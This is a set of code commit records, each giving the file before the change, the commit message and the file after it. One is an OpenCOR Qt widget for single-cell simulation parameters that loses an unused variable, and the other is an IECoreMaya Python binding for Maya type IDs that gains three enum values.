VOID_TO_NPVARIANT(*variant); break; } }<|endoftext|>
<commit_before>/******************************************************************************* Licensed to the OpenCOR team under one or more contributor license agreements. See the NOTICE.txt file distributed with this work for additional information regarding copyright ownership. The OpenCOR team licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. *******************************************************************************/ //============================================================================== // Single cell view information parameters widget //============================================================================== #include "cellmlfileruntime.h" #include "singlecellviewinformationparameterswidget.h" #include "singlecellviewsimulation.h" #include "singlecellviewsimulationwidget.h" #include "singlecellviewwidget.h" //============================================================================== #include <Qt> //============================================================================== #include <QCoreApplication> #include <QHeaderView> #include <QMenu> #include <QMetaType> #include <QScrollBar> #include <QSettings> //============================================================================== namespace OpenCOR { namespace SingleCellView { //============================================================================== SingleCellViewInformationParametersWidget::SingleCellViewInformationParametersWidget(QWidget *pParent) : PropertyEditorWidget(false, pParent), mParameters(QMap<Core::Property *, CellMLSupport::CellmlFileRuntimeParameter *>()), mParameterActions(QMap<QAction *, CellMLSupport::CellmlFileRuntimeParameter *>()), mSimulation(0) { // Create our context menu mContextMenu = new QMenu(this); // We want our own context menu setContextMenuPolicy(Qt::CustomContextMenu); connect(this, SIGNAL(customContextMenuRequested(const QPoint &)), this, SLOT(propertyEditorContextMenu(const QPoint &))); // Keep track of when the user changes a property value connect(this, SIGNAL(propertyChanged(Core::Property *)), this, SLOT(propertyChanged(Core::Property *))); } //============================================================================== void SingleCellViewInformationParametersWidget::retranslateContextMenu() { // Retranslate our context menu, in case it has been populated if (mContextMenu->actions().count() >= 2) { mContextMenu->actions()[0]->setText(tr("Plot Against Variable of Integration")); mContextMenu->actions()[1]->setText(tr("Plot Against")); } } //============================================================================== void SingleCellViewInformationParametersWidget::retranslateUi() { // Default retranslation PropertyEditorWidget::retranslateUi(); // Retranslate our context menu retranslateContextMenu(); // Retranslate the extra info of all our parameters updateExtraInfos(); } //============================================================================== void SingleCellViewInformationParametersWidget::initialize(CellMLSupport::CellmlFileRuntime *pRuntime, SingleCellViewSimulation *pSimulation, const bool &pReloadingView) { // Keep track of the simulation mSimulation = pSimulation; // Retranslate our core self, if needed // Note: part of reloading ourselves consists of finalising ourselves, which // means clearing all of our contents including our header labels. So, // we need to 'retranslate' them otherwise they will read "1", "2", // "3", etc. if (pReloadingView) PropertyEditorWidget::retranslateUi(); // Populate our property editor and context menu populateModel(pRuntime); populateContextMenu(pRuntime); // Keep track of when some of the model's data has changed connect(pSimulation->data(), SIGNAL(updated(const double &)), this, SLOT(updateParameters(const double &))); } //============================================================================== void SingleCellViewInformationParametersWidget::finalize() { // Clear ourselves, as well as our context menu, parameters and parameter // actions clear(); mContextMenu->clear(); mParameters.clear(); mParameterActions.clear(); } //============================================================================== void SingleCellViewInformationParametersWidget::updateParameters(const double &pCurrentPoint, const bool &pProcessEvents) { // Update our data foreach (Core::Property *property, properties()) { CellMLSupport::CellmlFileRuntimeParameter *parameter = mParameters.value(property); if (parameter) { switch (parameter->type()) { case CellMLSupport::CellmlFileRuntimeParameter::Constant: case CellMLSupport::CellmlFileRuntimeParameter::ComputedConstant: property->setDoubleValue(mSimulation->data()->constants()[parameter->index()], false); break; case CellMLSupport::CellmlFileRuntimeParameter::Rate: property->setDoubleValue(mSimulation->data()->rates()[parameter->index()], false); break; case CellMLSupport::CellmlFileRuntimeParameter::State: property->setDoubleValue(mSimulation->data()->states()[parameter->index()], false); break; case CellMLSupport::CellmlFileRuntimeParameter::Algebraic: property->setDoubleValue(mSimulation->data()->algebraic()[parameter->index()], false); break; default: // CellMLSupport::CellmlFileRuntimeParameter::Voi property->setDoubleValue(pCurrentPoint, false); } } // Make sure that we don't hang up the GUI unnecessarily // Note #1: this is useful when we run a model with loads of parameters // since otherwise the simulation won't finish smoothly (see // issue #656)... // Note #2: we don't want to process events all the time otherwise it // would mean that whenever we move the mouse while editing a // parameter, then the GUI would keep flashing because of the // editor closing and then reopening repeatedly until we stop // moving the mouse (see issue #733)... if (pProcessEvents) QCoreApplication::processEvents(); } // Check whether any of our properties has actually been modified mSimulation->data()->checkForModifications(); } //============================================================================== void SingleCellViewInformationParametersWidget::propertyChanged(Core::Property *pProperty) { // Update our simulation data CellMLSupport::CellmlFileRuntimeParameter *parameter = mParameters.value(pProperty); if (parameter) { switch (parameter->type()) { case CellMLSupport::CellmlFileRuntimeParameter::Constant: mSimulation->data()->constants()[parameter->index()] = pProperty->doubleValue(); break; case CellMLSupport::CellmlFileRuntimeParameter::State: mSimulation->data()->states()[parameter->index()] = pProperty->doubleValue(); break; default: // Not a type in which we are interested, so do nothing ; } } // Recompute our 'computed constants' and 'variables' // Note #1: we would normally call // mSimulation->data()->checkForModifications() after recomputing // our 'computed constants' and 'variables, but the recomputation // will eventually result in updateParameters() above to be called, // which will check for modifications... // Note #2: some state variables may be considered as computed constants by // the CellML API. This is fine when we need to initialise things, // but not after the user has modified one or several model // parameters (see issue #234 for more information), hence our // passing false to mSimulation->data()->reset()... mSimulation->data()->reset(false); } //============================================================================== QMap<Core::Property *, CellMLSupport::CellmlFileRuntimeParameter *> SingleCellViewInformationParametersWidget::parameters() const { // Return our parameters return mParameters; } //============================================================================== void SingleCellViewInformationParametersWidget::populateModel(CellMLSupport::CellmlFileRuntime *pRuntime) { // Prevent ourselves from being updated (to avoid flickering) setUpdatesEnabled(false); // Populate our property editor with the parameters Core::Property *voiProperty = 0; QString componentHierarchy = QString(); Core::Property *sectionProperty = 0; foreach (CellMLSupport::CellmlFileRuntimeParameter *parameter, pRuntime->parameters()) { // Check whether the current parameter is in the same component // hierarchy as the previous one QString crtComponentHierarchy = parameter->formattedComponentHierarchy(); if (crtComponentHierarchy.compare(componentHierarchy)) { // The current parameter is in a different component hierarchy, so // create a new section hierarchy for our 'new' component, reusing // existing sections, whenever possible Core::Property *section = 0; foreach (const QString &component, parameter->componentHierarchy()) { // Check whether we already have a section for our current // component sectionProperty = 0; // Retrieve the sub-sections for the current section QList<Core::Property *> subSections = QList<Core::Property *>(); if (section) { // We have a section, so go through its children and keep // track of its propeties that are a section foreach (QObject *object, section->children()) { Core::Property *property = qobject_cast<Core::Property *>(object); if ( property && (property->type() == Core::Property::Section)) { subSections << property; } } } else { // We don't have a section, so go through our properties and // keep tack of those that are a section foreach (Core::Property *property, properties()) { if (property->type() == Core::Property::Section) subSections << property; } } // Go through the sub-sections and check if one of them is the // one we are after foreach (Core::Property *subSection, subSections) { if (!subSection->name().compare(component)) { sectionProperty = subSection; break; } } // Create a new section for our current component, if none could // be found if (!sectionProperty) sectionProperty = addSectionProperty(component, section); // Get ready for the next component in our component hierarchy section = sectionProperty; } // Keep track of the new component hierarchy componentHierarchy = crtComponentHierarchy; } // Add the current parameter to the current section property, after // having retrieved its current value double propertyValue = 0.0; switch (parameter->type()) { case CellMLSupport::CellmlFileRuntimeParameter::Constant: case CellMLSupport::CellmlFileRuntimeParameter::ComputedConstant: propertyValue = mSimulation->data()->constants()[parameter->index()]; break; case CellMLSupport::CellmlFileRuntimeParameter::Rate: propertyValue = mSimulation->data()->rates()[parameter->index()]; break; case CellMLSupport::CellmlFileRuntimeParameter::State: propertyValue = mSimulation->data()->states()[parameter->index()]; break; case CellMLSupport::CellmlFileRuntimeParameter::Algebraic: propertyValue = mSimulation->data()->algebraic()[parameter->index()]; break; default: // CellMLSupport::CellmlFileRuntimeParameter::Voi propertyValue = mSimulation->data()->startingPoint(); } Core::Property *property = addDoubleProperty(propertyValue, sectionProperty); property->setEditable( (parameter->type() == CellMLSupport::CellmlFileRuntimeParameter::Constant) || (parameter->type() == CellMLSupport::CellmlFileRuntimeParameter::State)); property->setIcon(SingleCellViewSimulationWidget::parameterIcon(parameter->type())); property->setName(parameter->formattedName(), false); property->setUnit(parameter->formattedUnit(pRuntime->variableOfIntegration()->unit()), false); // Keep track of the link between our property value and parameter mParameters.insert(property, parameter); // Keep track of our VOI property, if it is the one if (parameter->type() == CellMLSupport::CellmlFileRuntimeParameter::Voi) voiProperty = property; } // Update (well, set here) the extra info of all our parameters updateExtraInfos(); // Expand all our properties expandAll(); // Allow ourselves to be updated again setUpdatesEnabled(true); } //============================================================================== void SingleCellViewInformationParametersWidget::populateContextMenu(CellMLSupport::CellmlFileRuntime *pRuntime) { // Create our two main menu items QAction *voiAction = mContextMenu->addAction(QString()); QMenu *plotAgainstMenu = new QMenu(mContextMenu); mContextMenu->addAction(plotAgainstMenu->menuAction()); // Initialise our two main menu items retranslateContextMenu(); // Create a connection to handle the graph requirement against our variable // of integration connect(voiAction, SIGNAL(triggered(bool)), this, SLOT(emitGraphRequired())); // Keep track of the parameter associated with our first main menu item mParameterActions.insert(voiAction, pRuntime->variableOfIntegration()); // Populate our context menu with the parameters QString componentHierarchy = QString(); QMenu *componentMenu = 0; foreach (CellMLSupport::CellmlFileRuntimeParameter *parameter, pRuntime->parameters()) { // Check whether the current parameter is in the same component // hierarchy as the previous one QString crtComponentHierarchy = parameter->formattedComponentHierarchy(); if (crtComponentHierarchy.compare(componentHierarchy)) { // The current parameter is in a different component hierarchy, so // create a new menu hierarchy for our 'new' component, reusing // existing menus, whenever possible QMenu *menu = plotAgainstMenu; foreach (const QString &component, parameter->componentHierarchy()) { // Check whether we already have a menu for our current // component componentMenu = 0; foreach (QObject *object, menu->children()) { QMenu *subMenu = qobject_cast<QMenu *>(object); if ( subMenu && !subMenu->menuAction()->text().compare(component)) { componentMenu = subMenu; break; } } // Create a new menu for our current component, if none could be // found if (!componentMenu) { componentMenu = new QMenu(component, menu); menu->addMenu(componentMenu); } // Get ready for the next component in our component hierarchy menu = componentMenu; } // Keep track of the new component hierarchy componentHierarchy = crtComponentHierarchy; } // Make sure that we have a 'current' component menu // Note: this should never happen, but we never know... if (!componentMenu) continue; // Add the current parameter to the 'current' component menu QAction *parameterAction = componentMenu->addAction(SingleCellViewSimulationWidget::parameterIcon(parameter->type()), parameter->formattedName()); // Create a connection to handle the graph requirement against our // parameter connect(parameterAction, SIGNAL(triggered(bool)), this, SLOT(emitGraphRequired())); // Keep track of the parameter associated with our model parameter // action mParameterActions.insert(parameterAction, parameter); } } //============================================================================== void SingleCellViewInformationParametersWidget::updateExtraInfos() { // Update the extra info of all our properties foreach (Core::Property *property, properties()) { CellMLSupport::CellmlFileRuntimeParameter *parameter = mParameters.value(property); if (parameter) { QString parameterType = QString(); switch (parameter->type()) { case CellMLSupport::CellmlFileRuntimeParameter::Constant: parameterType = tr("constant"); break; case CellMLSupport::CellmlFileRuntimeParameter::ComputedConstant: parameterType = tr("computed constant"); break; case CellMLSupport::CellmlFileRuntimeParameter::Rate: parameterType = tr("rate"); break; case CellMLSupport::CellmlFileRuntimeParameter::State: parameterType = tr("state"); break; case CellMLSupport::CellmlFileRuntimeParameter::Algebraic: parameterType = tr("algebraic"); break; default: // CellMLSupport::CellmlFileRuntimeParameter::Voi parameterType = tr("variable of integration"); } property->setExtraInfo(parameterType); } } } //============================================================================== void SingleCellViewInformationParametersWidget::propertyEditorContextMenu(const QPoint &pPosition) const { Q_UNUSED(pPosition); // Make sure that we have a current property Core::Property *crtProperty = currentProperty(); if (!crtProperty) return; // Make sure that our current property is not a section if (crtProperty->type() == Core::Property::Section) return; // Generate and show the context menu mContextMenu->exec(QCursor::pos()); } //============================================================================== void SingleCellViewInformationParametersWidget::emitGraphRequired() { // Let people know that we want to plot the current parameter against // another emit graphRequired(mParameterActions.value(qobject_cast<QAction *>(sender())), mParameters.value(currentProperty())); } //============================================================================== } // namespace SingleCellView } // namespace OpenCOR //============================================================================== // End of file //============================================================================== <commit_msg>Single Cell view: some work on making the view more file specific (#590) [ci skip].<commit_after>/******************************************************************************* Licensed to the OpenCOR team under one or more contributor license agreements. See the NOTICE.txt file distributed with this work for additional information regarding copyright ownership. The OpenCOR team licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. *******************************************************************************/ //============================================================================== // Single cell view information parameters widget //============================================================================== #include "cellmlfileruntime.h" #include "singlecellviewinformationparameterswidget.h" #include "singlecellviewsimulation.h" #include "singlecellviewsimulationwidget.h" #include "singlecellviewwidget.h" //============================================================================== #include <Qt> //============================================================================== #include <QCoreApplication> #include <QHeaderView> #include <QMenu> #include <QMetaType> #include <QScrollBar> #include <QSettings> //============================================================================== namespace OpenCOR { namespace SingleCellView { //============================================================================== SingleCellViewInformationParametersWidget::SingleCellViewInformationParametersWidget(QWidget *pParent) : PropertyEditorWidget(false, pParent), mParameters(QMap<Core::Property *, CellMLSupport::CellmlFileRuntimeParameter *>()), mParameterActions(QMap<QAction *, CellMLSupport::CellmlFileRuntimeParameter *>()), mSimulation(0) { // Create our context menu mContextMenu = new QMenu(this); // We want our own context menu setContextMenuPolicy(Qt::CustomContextMenu); connect(this, SIGNAL(customContextMenuRequested(const QPoint &)), this, SLOT(propertyEditorContextMenu(const QPoint &))); // Keep track of when the user changes a property value connect(this, SIGNAL(propertyChanged(Core::Property *)), this, SLOT(propertyChanged(Core::Property *))); } //============================================================================== void SingleCellViewInformationParametersWidget::retranslateContextMenu() { // Retranslate our context menu, in case it has been populated if (mContextMenu->actions().count() >= 2) { mContextMenu->actions()[0]->setText(tr("Plot Against Variable of Integration")); mContextMenu->actions()[1]->setText(tr("Plot Against")); } } //============================================================================== void SingleCellViewInformationParametersWidget::retranslateUi() { // Default retranslation PropertyEditorWidget::retranslateUi(); // Retranslate our context menu retranslateContextMenu(); // Retranslate the extra info of all our parameters updateExtraInfos(); } //============================================================================== void SingleCellViewInformationParametersWidget::initialize(CellMLSupport::CellmlFileRuntime *pRuntime, SingleCellViewSimulation *pSimulation, const bool &pReloadingView) { // Keep track of the simulation mSimulation = pSimulation; // Retranslate our core self, if needed // Note: part of reloading ourselves consists of finalising ourselves, which // means clearing all of our contents including our header labels. So, // we need to 'retranslate' them otherwise they will read "1", "2", // "3", etc. if (pReloadingView) PropertyEditorWidget::retranslateUi(); // Populate our property editor and context menu populateModel(pRuntime); populateContextMenu(pRuntime); // Keep track of when some of the model's data has changed connect(pSimulation->data(), SIGNAL(updated(const double &)), this, SLOT(updateParameters(const double &))); } //============================================================================== void SingleCellViewInformationParametersWidget::finalize() { // Clear ourselves, as well as our context menu, parameters and parameter // actions clear(); mContextMenu->clear(); mParameters.clear(); mParameterActions.clear(); } //============================================================================== void SingleCellViewInformationParametersWidget::updateParameters(const double &pCurrentPoint, const bool &pProcessEvents) { // Update our data foreach (Core::Property *property, properties()) { CellMLSupport::CellmlFileRuntimeParameter *parameter = mParameters.value(property); if (parameter) { switch (parameter->type()) { case CellMLSupport::CellmlFileRuntimeParameter::Constant: case CellMLSupport::CellmlFileRuntimeParameter::ComputedConstant: property->setDoubleValue(mSimulation->data()->constants()[parameter->index()], false); break; case CellMLSupport::CellmlFileRuntimeParameter::Rate: property->setDoubleValue(mSimulation->data()->rates()[parameter->index()], false); break; case CellMLSupport::CellmlFileRuntimeParameter::State: property->setDoubleValue(mSimulation->data()->states()[parameter->index()], false); break; case CellMLSupport::CellmlFileRuntimeParameter::Algebraic: property->setDoubleValue(mSimulation->data()->algebraic()[parameter->index()], false); break; default: // CellMLSupport::CellmlFileRuntimeParameter::Voi property->setDoubleValue(pCurrentPoint, false); } } // Make sure that we don't hang up the GUI unnecessarily // Note #1: this is useful when we run a model with loads of parameters // since otherwise the simulation won't finish smoothly (see // issue #656)... // Note #2: we don't want to process events all the time otherwise it // would mean that whenever we move the mouse while editing a // parameter, then the GUI would keep flashing because of the // editor closing and then reopening repeatedly until we stop // moving the mouse (see issue #733)... if (pProcessEvents) QCoreApplication::processEvents(); } // Check whether any of our properties has actually been modified mSimulation->data()->checkForModifications(); } //============================================================================== void SingleCellViewInformationParametersWidget::propertyChanged(Core::Property *pProperty) { // Update our simulation data CellMLSupport::CellmlFileRuntimeParameter *parameter = mParameters.value(pProperty); if (parameter) { switch (parameter->type()) { case CellMLSupport::CellmlFileRuntimeParameter::Constant: mSimulation->data()->constants()[parameter->index()] = pProperty->doubleValue(); break; case CellMLSupport::CellmlFileRuntimeParameter::State: mSimulation->data()->states()[parameter->index()] = pProperty->doubleValue(); break; default: // Not a type in which we are interested, so do nothing ; } } // Recompute our 'computed constants' and 'variables' // Note #1: we would normally call // mSimulation->data()->checkForModifications() after recomputing // our 'computed constants' and 'variables, but the recomputation // will eventually result in updateParameters() above to be called, // which will check for modifications... // Note #2: some state variables may be considered as computed constants by // the CellML API. This is fine when we need to initialise things, // but not after the user has modified one or several model // parameters (see issue #234 for more information), hence our // passing false to mSimulation->data()->reset()... mSimulation->data()->reset(false); } //============================================================================== QMap<Core::Property *, CellMLSupport::CellmlFileRuntimeParameter *> SingleCellViewInformationParametersWidget::parameters() const { // Return our parameters return mParameters; } //============================================================================== void SingleCellViewInformationParametersWidget::populateModel(CellMLSupport::CellmlFileRuntime *pRuntime) { // Prevent ourselves from being updated (to avoid flickering) setUpdatesEnabled(false); // Populate our property editor with the parameters QString componentHierarchy = QString(); Core::Property *sectionProperty = 0; foreach (CellMLSupport::CellmlFileRuntimeParameter *parameter, pRuntime->parameters()) { // Check whether the current parameter is in the same component // hierarchy as the previous one QString crtComponentHierarchy = parameter->formattedComponentHierarchy(); if (crtComponentHierarchy.compare(componentHierarchy)) { // The current parameter is in a different component hierarchy, so // create a new section hierarchy for our 'new' component, reusing // existing sections, whenever possible Core::Property *section = 0; foreach (const QString &component, parameter->componentHierarchy()) { // Check whether we already have a section for our current // component sectionProperty = 0; // Retrieve the sub-sections for the current section QList<Core::Property *> subSections = QList<Core::Property *>(); if (section) { // We have a section, so go through its children and keep // track of its propeties that are a section foreach (QObject *object, section->children()) { Core::Property *property = qobject_cast<Core::Property *>(object); if ( property && (property->type() == Core::Property::Section)) { subSections << property; } } } else { // We don't have a section, so go through our properties and // keep tack of those that are a section foreach (Core::Property *property, properties()) { if (property->type() == Core::Property::Section) subSections << property; } } // Go through the sub-sections and check if one of them is the // one we are after foreach (Core::Property *subSection, subSections) { if (!subSection->name().compare(component)) { sectionProperty = subSection; break; } } // Create a new section for our current component, if none could // be found if (!sectionProperty) sectionProperty = addSectionProperty(component, section); // Get ready for the next component in our component hierarchy section = sectionProperty; } // Keep track of the new component hierarchy componentHierarchy = crtComponentHierarchy; } // Add the current parameter to the current section property, after // having retrieved its current value double propertyValue = 0.0; switch (parameter->type()) { case CellMLSupport::CellmlFileRuntimeParameter::Constant: case CellMLSupport::CellmlFileRuntimeParameter::ComputedConstant: propertyValue = mSimulation->data()->constants()[parameter->index()]; break; case CellMLSupport::CellmlFileRuntimeParameter::Rate: propertyValue = mSimulation->data()->rates()[parameter->index()]; break; case CellMLSupport::CellmlFileRuntimeParameter::State: propertyValue = mSimulation->data()->states()[parameter->index()]; break; case CellMLSupport::CellmlFileRuntimeParameter::Algebraic: propertyValue = mSimulation->data()->algebraic()[parameter->index()]; break; default: // CellMLSupport::CellmlFileRuntimeParameter::Voi propertyValue = mSimulation->data()->startingPoint(); } Core::Property *property = addDoubleProperty(propertyValue, sectionProperty); property->setEditable( (parameter->type() == CellMLSupport::CellmlFileRuntimeParameter::Constant) || (parameter->type() == CellMLSupport::CellmlFileRuntimeParameter::State)); property->setIcon(SingleCellViewSimulationWidget::parameterIcon(parameter->type())); property->setName(parameter->formattedName(), false); property->setUnit(parameter->formattedUnit(pRuntime->variableOfIntegration()->unit()), false); // Keep track of the link between our property value and parameter mParameters.insert(property, parameter); } // Update (well, set here) the extra info of all our parameters updateExtraInfos(); // Expand all our properties expandAll(); // Allow ourselves to be updated again setUpdatesEnabled(true); } //============================================================================== void SingleCellViewInformationParametersWidget::populateContextMenu(CellMLSupport::CellmlFileRuntime *pRuntime) { // Create our two main menu items QAction *voiAction = mContextMenu->addAction(QString()); QMenu *plotAgainstMenu = new QMenu(mContextMenu); mContextMenu->addAction(plotAgainstMenu->menuAction()); // Initialise our two main menu items retranslateContextMenu(); // Create a connection to handle the graph requirement against our variable // of integration connect(voiAction, SIGNAL(triggered(bool)), this, SLOT(emitGraphRequired())); // Keep track of the parameter associated with our first main menu item mParameterActions.insert(voiAction, pRuntime->variableOfIntegration()); // Populate our context menu with the parameters QString componentHierarchy = QString(); QMenu *componentMenu = 0; foreach (CellMLSupport::CellmlFileRuntimeParameter *parameter, pRuntime->parameters()) { // Check whether the current parameter is in the same component // hierarchy as the previous one QString crtComponentHierarchy = parameter->formattedComponentHierarchy(); if (crtComponentHierarchy.compare(componentHierarchy)) { // The current parameter is in a different component hierarchy, so // create a new menu hierarchy for our 'new' component, reusing // existing menus, whenever possible QMenu *menu = plotAgainstMenu; foreach (const QString &component, parameter->componentHierarchy()) { // Check whether we already have a menu for our current // component componentMenu = 0; foreach (QObject *object, menu->children()) { QMenu *subMenu = qobject_cast<QMenu *>(object); if ( subMenu && !subMenu->menuAction()->text().compare(component)) { componentMenu = subMenu; break; } } // Create a new menu for our current component, if none could be // found if (!componentMenu) { componentMenu = new QMenu(component, menu); menu->addMenu(componentMenu); } // Get ready for the next component in our component hierarchy menu = componentMenu; } // Keep track of the new component hierarchy componentHierarchy = crtComponentHierarchy; } // Make sure that we have a 'current' component menu // Note: this should never happen, but we never know... if (!componentMenu) continue; // Add the current parameter to the 'current' component menu QAction *parameterAction = componentMenu->addAction(SingleCellViewSimulationWidget::parameterIcon(parameter->type()), parameter->formattedName()); // Create a connection to handle the graph requirement against our // parameter connect(parameterAction, SIGNAL(triggered(bool)), this, SLOT(emitGraphRequired())); // Keep track of the parameter associated with our model parameter // action mParameterActions.insert(parameterAction, parameter); } } //============================================================================== void SingleCellViewInformationParametersWidget::updateExtraInfos() { // Update the extra info of all our properties foreach (Core::Property *property, properties()) { CellMLSupport::CellmlFileRuntimeParameter *parameter = mParameters.value(property); if (parameter) { QString parameterType = QString(); switch (parameter->type()) { case CellMLSupport::CellmlFileRuntimeParameter::Constant: parameterType = tr("constant"); break; case CellMLSupport::CellmlFileRuntimeParameter::ComputedConstant: parameterType = tr("computed constant"); break; case CellMLSupport::CellmlFileRuntimeParameter::Rate: parameterType = tr("rate"); break; case CellMLSupport::CellmlFileRuntimeParameter::State: parameterType = tr("state"); break; case CellMLSupport::CellmlFileRuntimeParameter::Algebraic: parameterType = tr("algebraic"); break; default: // CellMLSupport::CellmlFileRuntimeParameter::Voi parameterType = tr("variable of integration"); } property->setExtraInfo(parameterType); } } } //============================================================================== void SingleCellViewInformationParametersWidget::propertyEditorContextMenu(const QPoint &pPosition) const { Q_UNUSED(pPosition); // Make sure that we have a current property Core::Property *crtProperty = currentProperty(); if (!crtProperty) return; // Make sure that our current property is not a section if (crtProperty->type() == Core::Property::Section) return; // Generate and show the context menu mContextMenu->exec(QCursor::pos()); } //============================================================================== void SingleCellViewInformationParametersWidget::emitGraphRequired() { // Let people know that we want to plot the current parameter against // another emit graphRequired(mParameterActions.value(qobject_cast<QAction *>(sender())), mParameters.value(currentProperty())); } //============================================================================== } // namespace SingleCellView } // namespace OpenCOR //============================================================================== // End of file //============================================================================== <|endoftext|>
<commit_before>////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2008-2009, Image Engine Design Inc. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // * Neither the name of Image Engine Design nor the names of any // other contributors to this software may be used to endorse or // promote products derived from this software without specific prior // written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS // IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, // THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // ////////////////////////////////////////////////////////////////////////// #include <boost/python.hpp> #include <cassert> #include "IECoreMaya/MayaTypeIds.h" #include "maya/MTypeId.h" using namespace boost::python; namespace IECoreMaya { void bindMayaTypeId() { /// We use a helper class written in Python to allow conversion of these to proper SWIG MTypeId objects enum_< long int > ( "_MayaTypeId" ) .value( "CacheSet", CacheSetId ) .value( "ObjectData", ObjectDataId ) .value( "ParameterisedHolderLocator", ParameterisedHolderLocatorId ) .value( "ParameterisedHolderDeformer", ParameterisedHolderDeformerId ) .value( "ParameterisedHolderField", ParameterisedHolderFieldId ) .value( "ParameterisedHolderSet", ParameterisedHolderSetId ) .value( "OpHolderNode", OpHolderNodeId ) .value( "ConverterHolder", ConverterHolderId ) .value( "ParameterisedHolderSurfaceShape", ParameterisedHolderSurfaceShapeId ) .value( "ParameterisedHolderComponentShape", ParameterisedHolderComponentShapeId ) .value( "ParameterisedHolderNode", ParameterisedHolderNodeId ) .value( "ProceduralHolder", ProceduralHolderId ) .value( "TransientParameterisedHolderNode", TransientParameterisedHolderNodeId ) .value( "ParameterisedHolderImagePlane", ParameterisedHolderImagePlaneId ) .value( "ImagePlaneHolder", ImagePlaneHolderId ) .value( "CurveCombiner", CurveCombinerId ) ; } } // namespace IECoreMaya <commit_msg>adding missing type id bindings<commit_after>////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2008-2009, Image Engine Design Inc. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // * Neither the name of Image Engine Design nor the names of any // other contributors to this software may be used to endorse or // promote products derived from this software without specific prior // written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS // IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, // THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // ////////////////////////////////////////////////////////////////////////// #include <boost/python.hpp> #include <cassert> #include "IECoreMaya/MayaTypeIds.h" #include "maya/MTypeId.h" using namespace boost::python; namespace IECoreMaya { void bindMayaTypeId() { /// We use a helper class written in Python to allow conversion of these to proper SWIG MTypeId objects enum_< long int > ( "_MayaTypeId" ) .value( "CacheSet", CacheSetId ) .value( "ObjectData", ObjectDataId ) .value( "ParameterisedHolderLocator", ParameterisedHolderLocatorId ) .value( "ParameterisedHolderDeformer", ParameterisedHolderDeformerId ) .value( "ParameterisedHolderField", ParameterisedHolderFieldId ) .value( "ParameterisedHolderSet", ParameterisedHolderSetId ) .value( "OpHolderNode", OpHolderNodeId ) .value( "ConverterHolder", ConverterHolderId ) .value( "ParameterisedHolderSurfaceShape", ParameterisedHolderSurfaceShapeId ) .value( "ParameterisedHolderComponentShape", ParameterisedHolderComponentShapeId ) .value( "ParameterisedHolderNode", ParameterisedHolderNodeId ) .value( "ProceduralHolder", ProceduralHolderId ) .value( "TransientParameterisedHolderNode", TransientParameterisedHolderNodeId ) .value( "ParameterisedHolderImagePlane", ParameterisedHolderImagePlaneId ) .value( "ImagePlaneHolder", ImagePlaneHolderId ) .value( "CurveCombiner", CurveCombinerId ) .value( "DummyData", DummyDataId ) .value( "DrawableHolder", DrawableHolderId ) .value( "GeometryCombiner", GeometryCombinerId ) ; } } // namespace IECoreMaya <|endoftext|>
